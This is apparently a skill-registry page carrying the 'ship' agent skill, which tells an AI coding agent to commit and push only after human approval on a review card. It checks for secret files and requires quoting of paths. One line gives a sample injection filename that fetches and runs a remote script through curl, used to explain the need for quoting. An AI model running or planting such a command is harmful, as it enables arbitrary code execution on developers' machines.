[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7C1EDTGWVVNPTF2CJ8A2C6T":3,"skill-same:01M7C1EDTGWVVNPTF2CJ8A2C6T":60},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":14,"repositoryHtmlUrl":27,"repositoryHomepageUrl":28,"ownerHtmlUrl":29,"ownerBlogUrl":28,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M7C1EDTGWVVNPTF2CJ8A2C6T","ship",null,"Commit and push from a Meldom chat through the ship review card. Validates the working tree, writes a conventional commit message, parks on `ship_review` for the user's approval, stages exactly what they selected, pushes, and reports the receipt. Use when the user says \"ship\", \"commit and push\", \"ship it\", or wants their work committed from inside Meldom.","meldomapp\u002Fskills","meldomapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F301474652?v=4","01M7C1CSB68BPWJ2SRPQ7C46S3","Meldom","01M7C1CSBT0YWKNH60MET3GEVR",0,"MIT","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fship\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ship\ndescription: Commit and push from a Meldom chat through the ship review card. Validates the working tree, writes a conventional commit message, parks on `ship_review` for the user's approval, stages exactly what they selected, pushes, and reports the receipt. Use when the user says \"ship\", \"commit and push\", \"ship it\", or wants their work committed from inside Meldom.\n---\n\n# Meldom Ship\n\nValidate -> card -> commit -> push -> receipt.\n\nYou are running inside a Meldom chat, so the **review card is the authorization**. Every commit goes through `ship_review`; there is no direct-git path. If the card cannot be shown, nothing is committed.\n\n**Flags:** `--no-push` (commit only) | `--mine` (only changes you made this session, including separable edits in shared files) | `--brief` (subject line only, no body)\n\n**Completion gate:** keep going until the commit exists and its push succeeded (or the commit exists when `--no-push` was asked). Treat a recoverable git failure as an intermediate state: fix it, resume at the relevant phase, continue. If the remote branch has commits you must integrate, fetch and merge or rebase; on conflicts, resolve them and finish the merge before retrying the push. Never swallow a push failure. Reconcile in the checkout the user selected — never run `git worktree add` on their behalf.\n\n## Phase 1 — Read git state\n\nONE Bash call, everything chained — never a separate call per command:\n\n```bash\ngit status --short && git branch --show-current && git rev-parse --show-toplevel && git diff --numstat HEAD && git log --oneline -5\n```\n\n`--numstat` gives the per-file `additions deletions path` rows the card needs — never run a second diff for counts. `--show-toplevel` is the repo root those paths are relative to, and the card's `root` (it matters when you ship from a submodule or subdirectory).\n\n**Untracked files (`??` in status) are missing from numstat.** Take them from `git status --short` and add them to the file list by hand. A file you CREATED this session is your own change: under `--mine` it is `agentTouched: true`, exactly like one you edited. Numstat's silence is not evidence the file belongs to someone else — forgetting this ships a `--mine` commit that leaves your own new files behind.\n\nCheck for dangerous files: `.env`; `.env.*` except the safe template names below; `*.pem`; `*.key`; `id_rsa`; `id_ed25519`; `credentials.json`; `secrets.json`. `.env.example`, `.env.sample` and `.env.template` are safe names — do not flag them by name alone, but read their changed content and stop if it holds a real secret.\n\nExtract: branch, ticket id (from the branch's `[A-Z]+-[0-9]+`), changed files, dangerous files, repo root, and a proposed branch name when the current one needs the repair below.\n\n**Branch format:** `TICKET-123-short-desc` — no `feature\u002F`, `bug\u002F`, `hotfix\u002F` or `worktree-` prefix. If the current branch does not match and a ticket id is extractable, derive the proposed name from the diff intent, put the rename on the card, and change nothing before confirmation. Rename locally as the first step of the confirmed chain. Leave an already-pushed old remote branch intact and say so; deleting that ref needs its own explicit request.\n\n**Stop if:** dangerous files found | no changes | detached HEAD | `--mine` filters to an empty set. This runs before any card can appear.\n\n**Shared checkout under `--mine`:** construct a Git patch containing only your edits. Different sections in one file can ship separately. Use your edit history plus the current diff; do not infer ownership from a touched-file list. If overlapping edits or dependencies make attribution uncertain, stop and name the uncertainty. Never create a worktree yourself.\n\n**Patch mode:** when any file is shared, include an exact `patch` on EVERY proposed file row and `baseCommit` with the full current HEAD hash. Keep those patch bytes until shipping finishes. Include new files as Git addition patches. Before review, check that the patches apply to `baseCommit` ([recipe](references\u002Fpartial-staging.md) step 3 with `--check` only). The card shows these patches directly; counts describe the supplied patches. Binary files, renames, symlinks and submodule pointers need a separate whole-file review. Do not silently widen a partial proposal.\n\nOne more stop fires later, in Phase 3: a confirmed selection with no files in it.\n\n## Phase 2 — Write the commit message\n\nSubject: `type(TICKET-ID): summary`, or `type: summary` when there is no ticket.\n\nWrite it from the conversation plus the Phase 1 file list — when this session made the changes you already know the intent, so do NOT reread your own diff. Run `git diff` only for files the conversation does not explain (pre-existing uncommitted work, a fresh session), and diff just those paths.\n\nTypes: `feat` (new capability) | `fix` (broken behavior corrected) | `refactor` (internals, no behavior change) | `tests` | `docs` | `style` (formatting only) | `chore` (deps\u002Fconfig) | `perf` | `ci` | `build`. Ambiguous: existed but broken → `fix`; genuinely new → `feat`; same behavior, new internals → `refactor`; still torn → prefer `fix` > `feat` > `refactor`. Full table: [commit-conventions.md](references\u002Fcommit-conventions.md) — read it only when genuinely unsure.\n\n- Max 72 chars, imperative mood, lowercase, no trailing period\n- Summarize intent, not the file list\n- Never write empty parens: `type(): desc` is WRONG\n\n**Body (default):** blank line after the subject, then one `-` bullet per distinct change — every feature, fix and behavior change gets its own. Done when every changed file is covered by a bullet or by the noise filter.\n\nNoise filter — never bullet: pure formatting\u002Flint, asset additions, lockfile churn, generated files, comment-only edits.\n\n**`--brief`:** subject line only.\n\n## Phase 3 — The card\n\nCall `ship_review` (`mcp__meldom__ship_review`) instead of running git directly:\n\n- `files` — every changed file from Phase 1, nothing filtered out: `{ path, additions, deletions, agentTouched }`, plus `patch` in patch mode.\n  - Without `--mine`: `agentTouched: true` for every file, so the card arrives with everything checked (the equivalent of `git add .`).\n  - With `--mine`: `agentTouched` reflects the real distinction — edited or created by you this session vs a pre-existing uncommitted change. The card pre-checks only the `true` ones and lists the rest unchecked so the user can still opt them in. The server adds nothing of its own: the card pre-checks exactly the files you mark `agentTouched: true`, so a file you leave unmarked arrives unchecked and is left out of the commit. Mark every file you edited or created this session, untracked `??` files included. Without patches, a checked file ships whole. In patch mode, a checked file ships only its supplied patch.\n- `baseCommit` — in patch mode, the full HEAD hash used to prepare every file patch. Omit for whole-file review.\n- `message` — the Phase 2 message.\n- `checks` — the Phase 1 validations as rows, e.g. `{ label: 'No secrets detected', passed: true }`, `{ label: 'On a valid branch', passed: true }`. With a proposed rename, add `{ label: 'Rename branch after confirmation: \u003Ccurrent> -> \u003Cproposed>', passed: true }`; `branch` stays the current name until confirmation.\n- `presets` — `{ push: !\"--no-push\", brief: \"--brief\" }`.\n- `branch` \u002F `remote` — the current branch and its remote (`origin` unless the branch tracks another).\n- `root` — the Phase 1 toplevel, the absolute path the `files` paths are relative to.\n\nThe call blocks until a person decides on the card, which can take many minutes, and only then returns `{ outcome, selectedFiles, selectedAllProposed, message, push }`, plus `baseCommit` in patch mode. Keep it open and never end your turn while it waits: ending the turn takes the card back, nothing is committed, and the card has to be shown again. In Codex code mode the `exec` cell yields while the call still runs; keep calling `wait` on that cell until it returns, which it does within four hours at most, and write no final message before then.\n\n### `confirmed`\n\nFirst, unconditionally: **if `selectedFiles` is empty, stop.** No `git add`, no commit, no push, no `ship_receipt`. Output `Ship - Stopped: empty file selection`. This covers both a user unticking every row and an AFK-confirmed ship whose proposed subset was already empty.\n\nUnder `--mine` only, one check before staging: compare `selectedFiles` against your own changes this session (the paths you sent as `agentTouched: true`). Extra paths mean the message you wrote no longer describes what would be committed — name them and ask whether they belong. When `selectedAllProposed` is true, do this from `files` and not from `selectedFiles`: the user kept every row, so the extra paths are exactly the ones you sent as `agentTouched: false`. Reading the returned list here would ask the question against a list your provider may have shortened, and silently skip it. If the user says include, proceed unchanged; if they say no, re-run `ship_review` with the same `files`\u002F`checks`\u002F`presets`\u002F`branch`\u002F`remote`\u002F`root`\u002F`baseCommit` exactly as `regenerate` does. Never quietly narrow to the `agentTouched` subset — the selection is the user's, not yours.\n\n**When the proposal carries patches:** follow [Commit approved patches](references\u002Fpartial-staging.md). Never run `git add \u003CselectedFiles>` for a patch-mode card. After its commit and push steps, report the receipt below.\n\n**For whole-file review:** run ONE chained command. With a confirmed rename, prepend `git branch -m '\u003Cnew-name>' &&` and use the new name as the receipt destination:\n\n```bash\ngit add -- \u003CselectedFiles...> \\\n  && printf '%s' '\u003Cdecision.message>' | git commit -F - \\\n  && { if [ \"\u003Cdecision.push>\" = \"true\" ]; then\n         if git rev-parse --abbrev-ref '@{upstream}' >\u002Fdev\u002Fnull 2>&1; then git push; else git push -u \u003Cremote> HEAD; fi\n       fi; }\n```\n\n**The push sets its own upstream when the branch has none.** A branch's first push — every fresh worktree branch — has no upstream, and a bare `git push` there dies with \"no upstream branch\". The `git rev-parse --abbrev-ref '@{upstream}'` probe succeeds only when one exists, so an established branch takes the plain push it always took. `\u003Cremote>` is the one from the card, not a hardcoded `origin`. Never write `|| true` around the push: a hidden failure reports a ship that never left the machine.\n\nFeed the message on stdin with `git commit -F -` (single-quoted, `'\\''`-escaping any apostrophe) — never a `-m \"$(cat \u003C\u003C'EOF' … EOF)\"` heredoc, whose delimiter a message line reading exactly `EOF` would end early.\n\nSingle-quote every path in `\u003CselectedFiles...>` with the same escaping, and keep the `--` before the list. Those paths came off `git status`, so a filename like `x;curl evil.sh|sh;#` unquoted is arbitrary shell execution and a leading `-` unquoted is option injection into `git add`.\n\nStage exactly `selectedFiles` — never `.`, never a subset you picked yourself. Push only when `decision.push` is true.\n\n**The one exception, and it is not a licence to widen:** when `selectedAllProposed` is true, the user approved every file you listed — every row, including any you sent as `agentTouched: false` — so stage the `files` you sent instead of the paths in `selectedFiles`. The two name the same set; you send the list, so your copy is complete, while `selectedFiles` travels back through your provider and a large ship can arrive shortened. Staging your own `files` there is the same commit, built from the copy that cannot have been clipped.\n\nWhen `selectedAllProposed` is false the approved set is smaller than the list you sent — the user unticked rows, or under `--mine` simply accepted your `agentTouched` default — and `selectedFiles` is the only thing that says which. Stage it exactly; widening to `files` there would commit work nobody approved.\n\nOnce git succeeds, call `ship_receipt` (`mcp__meldom__ship_receipt`) with `{ hash, subject, pushed, destination }`: `hash` from `git rev-parse --short HEAD`, `subject` the commit's first line, `pushed` mirroring `decision.push`, `destination` the `remote\u002Fbranch` string when pushed else `''`. It never parks — it reports a fact — and it lets the card settle from \"Shipping…\" to the receipt row.\n\n### `cancelled`\n\nStop immediately. Touch nothing: no add, no commit, no push, no `ship_receipt`. Output `Ship - Stopped: user cancelled`. A `cancelled` always means a human chose it — every way the card can fail to reach someone fails the tool call instead.\n\n### `regenerate`\n\nRedo Phase 2, then call `ship_review` again with the same `files`\u002F`checks`\u002F`presets`\u002F`branch`\u002F`remote`\u002F`root`\u002F`baseCommit` and the new message. Repeat until `confirmed` or `cancelled`.\n\n### The call fails with an error\n\nThis is not a decision and not a licence to ship another way. **Never run `git add`\u002F`git commit`\u002F`git push` because `ship_review` failed.** The card IS the authorization; a ship with no card is a ship nobody approved. Do exactly one of two things:\n\n- The error says the card was retracted, the request died, or the wait expired — the app is alive, so call `ship_review` again, unchanged.\n- The error says the app is not running, or a second attempt fails the same way — STOP. Report the message verbatim, state that nothing was committed, and leave the working tree exactly as it is.\n\n## Output\n\n`Ship - Done: Committed: \u003Csubject> | Pushed: \u003Cremote\u002Fbranch> | Files: N`, or `Ship - Stopped: \u003Creason>`.\n\nAfter a successful push, offer to open a PR.\n\n## Gotchas\n\n| Trap                                     | Fix                                                                                                         |\n| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------- |\n| `git add .` stages secrets               | Run the dangerous-file check before staging, and stage only `selectedFiles`                                 |\n| No ticket in the branch                  | `type: description`, never `type(): description`                                                            |\n| Detached HEAD                            | Stop with \"Not on a branch\"                                                                                 |\n| Branch name breaks the convention        | Propose it on the card; rename locally only after confirmation, and leave an old remote ref alone           |\n| `ship_review` errored, so run git direct | Never. Retry the card or stop. Committing without a card ships work nobody approved                         |\n| Ended the turn while the card waits      | The card is taken back. Keep waiting on the call (Codex: keep calling `wait` on its cell) until it returns  |\n| `--mine` staged files you never touched  | `selectedFiles` disagreeing with your `agentTouched: true` set is a red flag, not consent. Stop and confirm |\n| `--mine` on shared files                 | Supply exact per-file patches and their base commit; the card selects the proposed patches                  |\n| Edits overlap in a shared file           | Separate only changes whose ownership and dependencies are clear; ask about the rest                        |\n| Confirmed selection is empty             | Stop before any git command, and skip `ship_receipt` too                                                    |\n| `ship_receipt` skipped                   | Call it after every successful git flow, or the card is stuck on \"Shipping…\"                                |\n| Push dies with \"no upstream branch\"      | The branch's first push. Probe `@{upstream}` and use `git push -u \u003Cremote> HEAD` when it has none           |\n| Slow ship from extra reads               | Phase 1 is ONE chained call; never diff files this session changed                                          |\n\nTask: $ARGUMENTS\n","# Meldom Ship\n\nValidate -> card -> commit -> push -> receipt.\n\nYou are running inside a Meldom chat, so the **review card is the authorization**. Every commit goes through `ship_review`; there is no direct-git path. If the card cannot be shown, nothing is committed.\n\n**Flags:** `--no-push` (commit only) | `--mine` (only changes you made this session, including separable edits in shared files) | `--brief` (subject line only, no body)\n\n**Completion gate:** keep going until the commit exists and its push succeeded (or the commit exists when `--no-push` was asked). Treat a recoverable git failure as an intermediate state: fix it, resume at the relevant phase, continue. If the remote branch has commits you must integrate, fetch and merge or rebase; on conflicts, resolve them and finish the merge before retrying the push. Never swallow a push failure. Reconcile in the checkout the user selected — never run `git worktree add` on their behalf.\n\n## Phase 1 — Read git state\n\nONE Bash call, everything chained — never a separate call per command:\n\n```bash\ngit status --short && git branch --show-current && git rev-parse --show-toplevel && git diff --numstat HEAD && git log --oneline -5\n```\n\n`--numstat` gives the per-file `additions deletions path` rows the card needs — never run a second diff for counts. `--show-toplevel` is the repo root those paths are relative to, and the card's `root` (it matters when you ship from a submodule or subdirectory).\n\n**Untracked files (`??` in status) are missing from numstat.** Take them from `git status --short` and add them to the file list by hand. A file you CREATED this session is your own change: under `--mine` it is `agentTouched: true`, exactly like one you edited. Numstat's silence is not evidence the file belongs to someone else — forgetting this ships a `--mine` commit that leaves your own new files behind.\n\nCheck for dangerous files: `.env`; `.env.*` except the safe template names below; `*.pem`; `*.key`; `id_rsa`; `id_ed25519`; `credentials.json`; `secrets.json`. `.env.example`, `.env.sample` and `.env.template` are safe names — do not flag them by name alone, but read their changed content and stop if it holds a real secret.\n\nExtract: branch, ticket id (from the branch's `[A-Z]+-[0-9]+`), changed files, dangerous files, repo root, and a proposed branch name when the current one needs the repair below.\n\n**Branch format:** `TICKET-123-short-desc` — no `feature\u002F`, `bug\u002F`, `hotfix\u002F` or `worktree-` prefix. If the current branch does not match and a ticket id is extractable, derive the proposed name from the diff intent, put the rename on the card, and change nothing before confirmation. Rename locally as the first step of the confirmed chain. Leave an already-pushed old remote branch intact and say so; deleting that ref needs its own explicit request.\n\n**Stop if:** dangerous files found | no changes | detached HEAD | `--mine` filters to an empty set. This runs before any card can appear.\n\n**Shared checkout under `--mine`:** construct a Git patch containing only your edits. Different sections in one file can ship separately. Use your edit history plus the current diff; do not infer ownership from a touched-file list. If overlapping edits or dependencies make attribution uncertain, stop and name the uncertainty. Never create a worktree yourself.\n\n**Patch mode:** when any file is shared, include an exact `patch` on EVERY proposed file row and `baseCommit` with the full current HEAD hash. Keep those patch bytes until shipping finishes. Include new files as Git addition patches. Before review, check that the patches apply to `baseCommit` ([recipe](references\u002Fpartial-staging.md) step 3 with `--check` only). The card shows these patches directly; counts describe the supplied patches. Binary files, renames, symlinks and submodule pointers need a separate whole-file review. Do not silently widen a partial proposal.\n\nOne more stop fires later, in Phase 3: a confirmed selection with no files in it.\n\n## Phase 2 — Write the commit message\n\nSubject: `type(TICKET-ID): summary`, or `type: summary` when there is no ticket.\n\nWrite it from the conversation plus the Phase 1 file list — when this session made the changes you already know the intent, so do NOT reread your own diff. Run `git diff` only for files the conversation does not explain (pre-existing uncommitted work, a fresh session), and diff just those paths.\n\nTypes: `feat` (new capability) | `fix` (broken behavior corrected) | `refactor` (internals, no behavior change) | `tests` | `docs` | `style` (formatting only) | `chore` (deps\u002Fconfig) | `perf` | `ci` | `build`. Ambiguous: existed but broken → `fix`; genuinely new → `feat`; same behavior, new internals → `refactor`; still torn → prefer `fix` > `feat` > `refactor`. Full table: [commit-conventions.md](references\u002Fcommit-conventions.md) — read it only when genuinely unsure.\n\n- Max 72 chars, imperative mood, lowercase, no trailing period\n- Summarize intent, not the file list\n- Never write empty parens: `type(): desc` is WRONG\n\n**Body (default):** blank line after the subject, then one `-` bullet per distinct change — every feature, fix and behavior change gets its own. Done when every changed file is covered by a bullet or by the noise filter.\n\nNoise filter — never bullet: pure formatting\u002Flint, asset additions, lockfile churn, generated files, comment-only edits.\n\n**`--brief`:** subject line only.\n\n## Phase 3 — The card\n\nCall `ship_review` (`mcp__meldom__ship_review`) instead of running git directly:\n\n- `files` — every changed file from Phase 1, nothing filtered out: `{ path, additions, deletions, agentTouched }`, plus `patch` in patch mode.\n  - Without `--mine`: `agentTouched: true` for every file, so the card arrives with everything checked (the equivalent of `git add .`).\n  - With `--mine`: `agentTouched` reflects the real distinction — edited or created by you this session vs a pre-existing uncommitted change. The card pre-checks only the `true` ones and lists the rest unchecked so the user can still opt them in. The server adds nothing of its own: the card pre-checks exactly the files you mark `agentTouched: true`, so a file you leave unmarked arrives unchecked and is left out of the commit. Mark every file you edited or created this session, untracked `??` files included. Without patches, a checked file ships whole. In patch mode, a checked file ships only its supplied patch.\n- `baseCommit` — in patch mode, the full HEAD hash used to prepare every file patch. Omit for whole-file review.\n- `message` — the Phase 2 message.\n- `checks` — the Phase 1 validations as rows, e.g. `{ label: 'No secrets detected', passed: true }`, `{ label: 'On a valid branch', passed: true }`. With a proposed rename, add `{ label: 'Rename branch after confirmation: \u003Ccurrent> -> \u003Cproposed>', passed: true }`; `branch` stays the current name until confirmation.\n- `presets` — `{ push: !\"--no-push\", brief: \"--brief\" }`.\n- `branch` \u002F `remote` — the current branch and its remote (`origin` unless the branch tracks another).\n- `root` — the Phase 1 toplevel, the absolute path the `files` paths are relative to.\n\nThe call blocks until a person decides on the card, which can take many minutes, and only then returns `{ outcome, selectedFiles, selectedAllProposed, message, push }`, plus `baseCommit` in patch mode. Keep it open and never end your turn while it waits: ending the turn takes the card back, nothing is committed, and the card has to be shown again. In Codex code mode the `exec` cell yields while the call still runs; keep calling `wait` on that cell until it returns, which it does within four hours at most, and write no final message before then.\n\n### `confirmed`\n\nFirst, unconditionally: **if `selectedFiles` is empty, stop.** No `git add`, no commit, no push, no `ship_receipt`. Output `Ship - Stopped: empty file selection`. This covers both a user unticking every row and an AFK-confirmed ship whose proposed subset was already empty.\n\nUnder `--mine` only, one check before staging: compare `selectedFiles` against your own changes this session (the paths you sent as `agentTouched: true`). Extra paths mean the message you wrote no longer describes what would be committed — name them and ask whether they belong. When `selectedAllProposed` is true, do this from `files` and not from `selectedFiles`: the user kept every row, so the extra paths are exactly the ones you sent as `agentTouched: false`. Reading the returned list here would ask the question against a list your provider may have shortened, and silently skip it. If the user says include, proceed unchanged; if they say no, re-run `ship_review` with the same `files`\u002F`checks`\u002F`presets`\u002F`branch`\u002F`remote`\u002F`root`\u002F`baseCommit` exactly as `regenerate` does. Never quietly narrow to the `agentTouched` subset — the selection is the user's, not yours.\n\n**When the proposal carries patches:** follow [Commit approved patches](references\u002Fpartial-staging.md). Never run `git add \u003CselectedFiles>` for a patch-mode card. After its commit and push steps, report the receipt below.\n\n**For whole-file review:** run ONE chained command. With a confirmed rename, prepend `git branch -m '\u003Cnew-name>' &&` and use the new name as the receipt destination:\n\n```bash\ngit add -- \u003CselectedFiles...> \\\n  && printf '%s' '\u003Cdecision.message>' | git commit -F - \\\n  && { if [ \"\u003Cdecision.push>\" = \"true\" ]; then\n         if git rev-parse --abbrev-ref '@{upstream}' >\u002Fdev\u002Fnull 2>&1; then git push; else git push -u \u003Cremote> HEAD; fi\n       fi; }\n```\n\n**The push sets its own upstream when the branch has none.** A branch's first push — every fresh worktree branch — has no upstream, and a bare `git push` there dies with \"no upstream branch\". The `git rev-parse --abbrev-ref '@{upstream}'` probe succeeds only when one exists, so an established branch takes the plain push it always took. `\u003Cremote>` is the one from the card, not a hardcoded `origin`. Never write `|| true` around the push: a hidden failure reports a ship that never left the machine.\n\nFeed the message on stdin with `git commit -F -` (single-quoted, `'\\''`-escaping any apostrophe) — never a `-m \"$(cat \u003C\u003C'EOF' … EOF)\"` heredoc, whose delimiter a message line reading exactly `EOF` would end early.\n\nSingle-quote every path in `\u003CselectedFiles...>` with the same escaping, and keep the `--` before the list. Those paths came off `git status`, so a filename like `x;curl evil.sh|sh;#` unquoted is arbitrary shell execution and a leading `-` unquoted is option injection into `git add`.\n\nStage exactly `selectedFiles` — never `.`, never a subset you picked yourself. Push only when `decision.push` is true.\n\n**The one exception, and it is not a licence to widen:** when `selectedAllProposed` is true, the user approved every file you listed — every row, including any you sent as `agentTouched: false` — so stage the `files` you sent instead of the paths in `selectedFiles`. The two name the same set; you send the list, so your copy is complete, while `selectedFiles` travels back through your provider and a large ship can arrive shortened. Staging your own `files` there is the same commit, built from the copy that cannot have been clipped.\n\nWhen `selectedAllProposed` is false the approved set is smaller than the list you sent — the user unticked rows, or under `--mine` simply accepted your `agentTouched` default — and `selectedFiles` is the only thing that says which. Stage it exactly; widening to `files` there would commit work nobody approved.\n\nOnce git succeeds, call `ship_receipt` (`mcp__meldom__ship_receipt`) with `{ hash, subject, pushed, destination }`: `hash` from `git rev-parse --short HEAD`, `subject` the commit's first line, `pushed` mirroring `decision.push`, `destination` the `remote\u002Fbranch` string when pushed else `''`. It never parks — it reports a fact — and it lets the card settle from \"Shipping…\" to the receipt row.\n\n### `cancelled`\n\nStop immediately. Touch nothing: no add, no commit, no push, no `ship_receipt`. Output `Ship - Stopped: user cancelled`. A `cancelled` always means a human chose it — every way the card can fail to reach someone fails the tool call instead.\n\n### `regenerate`\n\nRedo Phase 2, then call `ship_review` again with the same `files`\u002F`checks`\u002F`presets`\u002F`branch`\u002F`remote`\u002F`root`\u002F`baseCommit` and the new message. Repeat until `confirmed` or `cancelled`.\n\n### The call fails with an error\n\nThis is not a decision and not a licence to ship another way. **Never run `git add`\u002F`git commit`\u002F`git push` because `ship_review` failed.** The card IS the authorization; a ship with no card is a ship nobody approved. Do exactly one of two things:\n\n- The error says the card was retracted, the request died, or the wait expired — the app is alive, so call `ship_review` again, unchanged.\n- The error says the app is not running, or a second attempt fails the same way — STOP. Report the message verbatim, state that nothing was committed, and leave the working tree exactly as it is.\n\n## Output\n\n`Ship - Done: Committed: \u003Csubject> | Pushed: \u003Cremote\u002Fbranch> | Files: N`, or `Ship - Stopped: \u003Creason>`.\n\nAfter a successful push, offer to open a PR.\n\n## Gotchas\n\n| Trap                                     | Fix                                                                                                         |\n| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------- |\n| `git add .` stages secrets               | Run the dangerous-file check before staging, and stage only `selectedFiles`                                 |\n| No ticket in the branch                  | `type: description`, never `type(): description`                                                            |\n| Detached HEAD                            | Stop with \"Not on a branch\"                                                                                 |\n| Branch name breaks the convention        | Propose it on the card; rename locally only after confirmation, and leave an old remote ref alone           |\n| `ship_review` errored, so run git direct | Never. Retry the card or stop. Committing without a card ships work nobody approved                         |\n| Ended the turn while the card waits      | The card is taken back. Keep waiting on the call (Codex: keep calling `wait` on its cell) until it returns  |\n| `--mine` staged files you never touched  | `selectedFiles` disagreeing with your `agentTouched: true` set is a red flag, not consent. Stop and confirm |\n| `--mine` on shared files                 | Supply exact per-file patches and their base commit; the card selects the proposed patches                  |\n| Edits overlap in a shared file           | Separate only changes whose ownership and dependencies are clear; ask about the rest                        |\n| Confirmed selection is empty             | Stop before any git command, and skip `ship_receipt` too                                                    |\n| `ship_receipt` skipped                   | Call it after every successful git flow, or the card is stuck on \"Shipping…\"                                |\n| Push dies with \"no upstream branch\"      | The branch's first push. Probe `@{upstream}` and use `git push -u \u003Cremote> HEAD` when it has none           |\n| Slow ship from extra reads               | Phase 1 is ONE chained call; never diff files this session changed                                          |\n\nTask: $ARGUMENTS\n",{"name":5,"description":7},"main","aefb4ee105f883c49e0fe239fc6e7af5eabfccf0","skills\u002Fship","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills","https:\u002F\u002Fmeldom.com","https:\u002F\u002Fgithub.com\u002Fmeldomapp","Run your AI coding agents as a team. Local-first desktop app for Claude Code, Codex and OpenCode.","2026-11-14 16:57:06",{"source":8,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add meldomapp\u002Fskills --skill ship",{"tool":38,"command":39},"bunx","bunx skills add meldomapp\u002Fskills --skill ship",{"tool":41,"command":42},"pnpm","pnpm dlx skills add meldomapp\u002Fskills --skill ship","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fship\u002FSKILL.md",true,[46,52,56],{"path":47,"resourceType":48,"resourceTypeDesc":49,"sizeBytes":50,"sourceHtmlUrl":51},"agents\u002Fopenai.yaml","REFERENCE","参考文档",95,"https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fship\u002Fagents\u002Fopenai.yaml",{"path":53,"resourceType":48,"resourceTypeDesc":49,"sizeBytes":54,"sourceHtmlUrl":55},"references\u002Fcommit-conventions.md",3683,"https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fship\u002Freferences\u002Fcommit-conventions.md",{"path":57,"resourceType":48,"resourceTypeDesc":49,"sizeBytes":58,"sourceHtmlUrl":59},"references\u002Fpartial-staging.md",3257,"https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fship\u002Freferences\u002Fpartial-staging.md",[61,68,75,82,89,96],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":19},"01M7C1FYKG3G9QSH4VGJ4V2R3X","writing-for-agents","Writing documents for agents. Use when creating or editing skills, or modifying AGENTS.md or CLAUDE.md.","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-for-agents\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":19},"01M7C1FK3302JGFJMMQ0R34RZH","wizard","Generate an interactive bash wizard that walks a human through steps only they can perform. Use when provisioning infrastructure, setting up credentials or CI secrets, walking an unfamiliar third-party dashboard, or running a one-off migration or cutover. Don't invoke this for steps the agent can perform itself.","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fwizard\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":19},"01M7C1F9XJHRNXPCYEAZRQN5JH","wayfinder","Plan a huge chunk of work (more than one agent session can hold) as a shared map of decision tickets on your issue tracker, and resolve them one at a time until the way to the destination is clear.","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fwayfinder\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":19},"01M7C1F0YM1VKPJPT9JYG5QRMF","wait-what","Stop. That last message did not land: re-pitch it.","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fwait-what\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":19},"01M7C1EYSDDGMYAS895TABK7B3","triage","Move issues and external PRs through a state machine of triage roles, categorise, verify, grill if needed, and write agent-ready 